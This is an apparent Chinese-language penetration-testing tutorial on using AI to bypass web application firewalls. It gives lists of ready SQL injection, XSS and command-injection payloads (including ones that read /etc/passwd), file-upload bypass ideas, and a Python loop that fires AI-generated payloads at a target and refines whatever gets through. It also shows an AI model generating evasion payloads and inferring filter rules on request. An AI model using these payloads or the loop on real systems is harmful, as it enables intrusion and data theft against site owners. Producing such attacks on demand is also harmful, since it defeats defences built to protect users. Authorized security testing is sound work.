一句话:WAF 绕过的本质是"找到正则规则没覆盖的等价表达",而 AI 最擅长的就是穷举等价表达。

一、为什么 AI 特别适合做 WAF 绕过

WAF 绕过是一个语法等价变换问题:

原始: UNION SELECT 1,2,3
等价: /*!50000UNION*//**//*!50000SELECT*/1,2,3
等价: uNiOn/**/sElEcT/**/1,2,3
等价: UNION%0aSELECT%0a1,2,3

人类凭经验能想出 3~5 种;AI 能系统性地穷举 50 种。

AI 在这里的核心价值是"变形穷举器",而不是"漏洞发现器"。

二、WAF 绕过的六类通用手法

先建立分类框架(AI 能帮你据此生成):

类别 原理 示例
大小写变换 规则区分大小写但后端不区分 UnIoN sElEcT
注释插入 用注释打断关键字 UN/**/ION/*!UNION*/
编码变形 URL/Unicode/HTML 实体 %55NION\u0055NION
等价替换 用功能相同的语法替代 空格→/**/AND&&
协议层拆分 分块传输、多重编码 chunked、双重 URL 编码
语义等价 用不同函数实现同一目的 SLEEPBENCHMARK

三、标准绕过 Prompt

# 背景
目标 WAF 拦截以下关键字(通过测试确认):
- 拦截: union, select, 单引号, 空格, sleep
- 未拦截: 注释符 /**/, %0a, 内联注释
- 数据库: MySQL 5.7
- 注入点: GET 参数 id(数字型)

# 任务
生成 20 条可绕过上述 WAF 的注入 Payload,要求:
1. 全部不含被拦截的关键字(大小写均不行)
2. 保留攻击语义
3. 覆盖不同类型(布尔盲注、时间盲注、报错)
4. 按成功率排序

# 输出
| Payload | 类型 | 绕过原理 |

AI 输出(节选):

Payload 类型 绕过原理
1/**/AND/**/1=1 布尔 注释替代空格
1%0aAND%0a1=1 布尔 换行替代空格
1 AND (SELECT 1 FROM(SELECT BEnCHMARK(5000000,MD5(1)))a) 时间 大小写+等价函数保号
1 UNION/**/SELECT/**/1,2,3 联合 注释拆分
-1/**/UnIoN/**/SeLeCt/**/1,2,3 联合 大小写

四、针对性绕过:读懂规则再打

高级用法是先让 AI 推断规则

# 输入
WAF 测试结果:
- `UNION SELECT` → 403
- `UNION SELECT`(全小写)→ 403
- `un/**/ion sel/**/ect` → 403
- `UNION/**/SELECT` → 403
- `union%09select`(Tab)→ 200(通过!)
- `1 AND 1=1` → 403
- `1&&1=1` → 200(通过!)

# 任务
1. 推断 WAF 的匹配规则(是黑名单?用的什么正则?)
2. 找出规则覆盖不到的盲区
3. 据此生成针对性 Payload

AI 会推理出:

推断:
- 规则匹配 "union" 和 "select" 组合(可能用 \s+ 或 [ ] 匹配间隔)
- 规则未覆盖 \t(%09)、未覆盖 && 
- 空格被匹配,Tab 未被匹配 → 正则是 [ ] 而非 \s

绕过策略:
- 用 %09 (Tab) 或 %0b (VT) 或 %0c (FF) 替代所有空格
- 用 && / || 替代 AND / OR
- 关键:Tab 未被拦截!

生成:
1%09UNION%09SELECT%091,2,3
1%09AND%091=1

这是 AI 明显超出人类的地方——它能从测试结果反推规则实现,这是纯逻辑推理。

五、XSS 的 WAF 绕过

# 背景
WAF 拦截 `<script`、`onerror=`、`alert(`
但放行:`<img`、`onload`、其他事件、`confirm`
内容会进入 HTML 属性上下文

# 任务
生成 15 条绕过 Payload,全部不含被拦截字符串。

AI 输出:

<img src=x onload=confirm(1)>
<svg onload=confirm(1)>
<body onload=confirm(1)>
<details open ontoggle=confirm(1)>
<input autofocus onfocus=confirm(1)>
<select autofocus onfocus=confirm(1)>
<video><source onerror=confirm(1)>
<iframe srcdoc="&lt;img src=1 onerror=confirm(1)&gt;">

六、命令注入的 WAF 绕过

# 背景
WAF 拦截:分号 `;`、管道 `|`、`cat`、空格
放行:换行、反引号、$()、制表符
目标:Linux

# 任务
给出 10 条绕过 Payload,实现读取 /etc/passwd。

AI 输出:

# 换行分隔(拦截分号时)
127.0.0.1%0acat%09/etc/passwd

# $() 替换反引号
127.0.0.1%0a$(cat</etc/passwd)

# 变量截取拼关键字
127.0.0.1%0aa=ca;b=t;$a$b</etc/passwd  (若分号被拦,改用其他)

# 通配符绕过文件名
127.0.0.1%0acat%09/etc/pas?wd
127.0.0.1%0acat%09/etc/pass*

# 十六进制/编码
127.0.0.1%0a$(echo Y2F0IC9ldGMvcGFzc3dk|base64 -d)

七、文件上传的 WAF 绕过

# 背景
WAF + 后端双重校验:
- WAF 检查 Content-Type 和文件内容里的 `<?php`
- 后端只允许 .jpg/.png

# 任务
给出绕过思路,覆盖:
1. 短标签 / 其他 PHP 标签
2. 图片马 + 配合解析漏洞
3. 后缀绕过(.phtml/.php5/.php.jpg)
4. 内容编码绕过

八、自动化:AI 驱动的绕过闭环

def waf_bypass_loop(url, param, waf_response_marker="403"):
    # 1. 初始生成一批 payload
    payloads = ai_generate(f"生成 20 条绕过 XSS WAF 的 payload", count=20)
    
    passed = []
    for p in payloads:
        resp = requests.get(url, params={param: p})
        if waf_response_marker not in str(resp.status_code):
            passed.append((p, resp.text[:300]))
    
    # 2. 让 AI 分析哪些过了、哪些没过,反推规则
    if passed:
        analysis = ai_analyze(
            passed=passed,
            blocked=[p for p in payloads if p not in [x[0] for x in passed]],
            task="推断 WAF 规则并生成第二轮针对性 payload"
        )
        # 3. 第二轮
        round2 = ai_generate(analysis["next_payloads"])
        ...
    
    return passed

九、注意事项

  1. 先确认规则再打:不要盲目用大字典轰炸,会触发告警
  2. 控制频率:WAF 有频率限制,速度过快全被拦
  3. 区分 WAF 拦截和业务错误:403 不一定来自 WAF
  4. 留存证据:绕过成功的请求响应要完整记录
  5. 注意合规:WAF 绕过测试必须在授权范围内

十、小结

AI 在 WAF 绕过的三个层次:

层次 做法 AI 价值
L1 盲猜 用公开 bypass 字典 中(能变形)
L2 定向 知道拦什么,生成绕过 高(等价穷举)
L3 反推 从测试结果推断规则 极高(逻辑推理)

L3 才是 AI 的真正杀手锏——它能像人类专家一样"从现象反推机制",但速度快 100 倍。

下一篇:AI 辅助弱口令与凭据安全分析。


系列文章:AI 渗透测试与漏洞挖掘实战